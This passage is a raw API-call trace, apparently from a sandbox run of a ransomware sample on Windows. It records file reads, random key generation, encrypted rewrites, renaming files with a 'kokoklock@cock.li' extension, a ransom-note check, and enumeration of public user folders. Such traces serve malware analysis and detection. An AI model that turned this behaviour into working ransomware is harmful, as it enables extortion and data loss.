out: lpFileSize=0x89efa1c*=14276) returned 1 [0165.593] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x37c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.593] ReadFile (in: hFile=0x5c8, lpBuffer=0x89ef9f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x89ef9ec, lpOverlapped=0x0 | out: lpBuffer=0x89ef9f0*, lpNumberOfBytesRead=0x89ef9ec*=0x4, lpOverlapped=0x0) returned 1 [0165.594] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.594] CloseHandle (hObject=0x5c8) returned 1 [0165.594] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f830d8) returned 1 [0165.595] RtlExitUserThread (Status=0x0) Thread: id = 1589 os_tid = 0xfb0 [0165.948] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.948] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.948] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0165.949] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x8a6f790 | out: lpFileSize=0x8a6f790*=39090) returned 1 [0165.949] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x98ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.949] ReadFile (in: hFile=0x534, lpBuffer=0x8a6f764, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8a6f760, lpOverlapped=0x0 | out: lpBuffer=0x8a6f764*, lpNumberOfBytesRead=0x8a6f760*=0x4, lpOverlapped=0x0) returned 1 [0165.951] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0165.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0165.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.951] NtQuerySystemTime (in: CurrentTime=0x8a6f73c | out: CurrentTime=0x8a6f73c*=132121213232717272) returned 0x0 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xa891b295 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x92e1b20a [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xfcca1c9 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x8c45945f [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x5b134297 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xecf45b31 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xfe4e2b87 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x4636aca2 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x4e32e8a6 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xf1bbd6c8 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x50dd969 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xe7049772 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x88cc7244 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xba39d57c [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x4a84f9a [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xd9ac9157 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xd9cdee9c [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x721e7d27 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xb2e12eb6 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xd05894d0 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xceacf319 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x2cfba057 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xc751f528 [0165.951] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x7925a0f3 [0165.952] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x77a8a8bf [0165.952] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x5bbff5f6 [0165.952] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x6ad7e9e6 [0165.952] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0xaef02828 [0165.952] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x89fb1e1 [0165.952] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x80cafd2 [0165.952] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x962d04ef [0165.952] RtlRandom (in: Seed=0x8a6f748 | out: Seed=0x8a6f748) returned 0x18966b4 [0165.961] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0165.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0165.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0165.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0165.963] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0165.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0165.965] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.965] ReadFile (in: hFile=0x534, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8a6f714, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x8a6f714*=0x4096, lpOverlapped=0x0) returned 1 [0165.966] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0165.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0165.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0165.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0165.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0165.967] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0165.967] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0165.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0165.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0165.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0165.967] WriteFile (in: hFile=0x534, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8a6f714, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x8a6f714*=0x4096, lpOverlapped=0x0) returned 1 [0165.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0165.967] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x98b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.967] WriteFile (in: hFile=0x534, lpBuffer=0x2fab708*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8a6f74c, lpOverlapped=0x0 | out: lpBuffer=0x2fab708*, lpNumberOfBytesWritten=0x8a6f74c*=0x20, lpOverlapped=0x0) returned 1 [0165.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0165.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0165.967] WriteFile (in: hFile=0x534, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8a6f760, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x8a6f760*=0x8, lpOverlapped=0x0) returned 1 [0165.968] WriteFile (in: hFile=0x534, lpBuffer=0x8a6f778*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8a6f760, lpOverlapped=0x0 | out: lpBuffer=0x8a6f778*, lpNumberOfBytesWritten=0x8a6f760*=0x4, lpOverlapped=0x0) returned 1 [0165.968] WriteFile (in: hFile=0x534, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8a6f760, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x8a6f760*=0x4, lpOverlapped=0x0) returned 1 [0165.968] WriteFile (in: hFile=0x534, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8a6f760, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x8a6f760*=0x6c, lpOverlapped=0x0) returned 1 [0165.968] WriteFile (in: hFile=0x534, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8a6f760, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x8a6f760*=0x20, lpOverlapped=0x0) returned 1 [0165.968] WriteFile (in: hFile=0x534, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8a6f760, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x8a6f760*=0x4, lpOverlapped=0x0) returned 1 [0165.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0165.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0165.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0165.968] CloseHandle (hObject=0x534) returned 1 [0165.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2f88300 [0165.968] wcscpy (in: _Dest=0x2f88300, _Source="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0165.969] wcscat (in: _Dest=0x2f88300, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.969] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.969] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88300) returned 1 [0165.970] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0165.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2faa150 [0165.970] wcscpy (in: _Dest=0x2faa150, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.970] wcscat (in: _Dest=0x2faa150, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0165.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0165.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa150) returned 1 [0165.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82e08) returned 1 [0165.970] RtlExitUserThread (Status=0x1) Thread: id = 1590 os_tid = 0xfb4 [0165.971] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x2fa1180 [0165.971] wcscpy (in: _Dest=0x2fa1180, _Source="C:\\Users\\Public\\AccountPictures" | out: _Dest="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0165.971] wcscat (in: _Dest=0x2fa1180, _Source="\\" | out: _Dest="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0165.971] wcscat (in: _Dest=0x2fa1180, _Source="*" | out: _Dest="C:\\Users\\Public\\AccountPictures\\*") returned="C:\\Users\\Public\\AccountPictures\\*" [0165.971] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe19d8 [0165.971] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*", lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3948 [0165.972] wcscmp (_String1=".", _String2=".") returned 0 [0165.972] FindNextFileW (in: hFindFile=0x2fe3948, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.972] wcscmp (_String1="..", _String2=".") returned 1 [0165.972] wcscmp (_String1="..", _String2="..") returned 0 [0165.972] FindNextFileW (in: hFindFile=0x2fe3948, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.972] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.972] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.972] FindNextFileW (in: hFindFile=0x2fe3948, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0165.972] FindClose (in: hFindFile=0x2fe3948 | out: hFindFile=0x2fe3948) returned 1 [0165.972] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19d8) returned 1 [0165.972] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1180) returned 1 [0165.972] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0165.972] RtlExitUserThread (Status=0x0) Thread: id = 1591 os_tid = 0xfb8 [0165.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2fe3988 [0165.973] wcscpy (in: _Dest=0x2fe3988, _Source="C:\\Users\\Public\\Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0165.973] wcscat (in: _Dest=0x2fe3988, _Source="\\" | out: _Dest="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0165.973] wcscat (in: _Dest=0x2fe3988, _Source="*" | out: _Dest="C:\\Users\\Public\\Desktop\\*") returned="C:\\Users\\Public\\Desktop\\*" [0165.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe19d8 [0165.973] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3f88 [0165.974] wcscmp (_String1=".", _String2=".") returned 0 [0165.974] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.974] wcscmp (_String1="..", _String2=".") returned 1 [0165.974] wcscmp (_String1="..", _String2="..") returned 0 [0165.974] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bb5c78, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38bb5c78, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38bb5c78, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0165.974] wcscmp (_String1="Acrobat Reader DC.lnk", _String2=".") returned 1 [0165.974] wcscmp (_String1="Acrobat Reader DC.lnk", _String2="..") returned 1 [0165.974] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.974] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.974] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.974] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c3ce2c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0165.974] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0165.974] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0165.974] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0165.974] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0165.974] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0165.974] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0 [0165.974] FindClose (in: hFindFile=0x2fe3f88 | out: hFindFile=0x2fe3f88) returned 1 [0165.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19d8) returned 1 [0165.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3988) returned 1 [0165.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013130) returned 1 [0165.974] RtlExitUserThread (Status=0x0) Thread: id = 1592 os_tid = 0xfbc [0165.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2fe3988 [0165.975] wcscpy (in: _Dest=0x2fe3988, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0165.975] wcscat (in: _Dest=0x2fe3988, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0165.975] wcscat (in: _Dest=0x2fe3988, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\*") returned="C:\\Users\\Public\\Documents\\*" [0165.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe19d8 [0165.975] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3f88 [0165.977] wcscmp (_String1=".", _String2=".") returned 0 [0165.977] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.977] wcscmp (_String1="..", _String2=".") returned 1 [0165.977] wcscmp (_String1="..", _String2="..") returned 0 [0165.977] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.977] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.977] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.977] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0165.977] wcscmp (_String1="My Music", _String2=".") returned 1 [0165.977] wcscmp 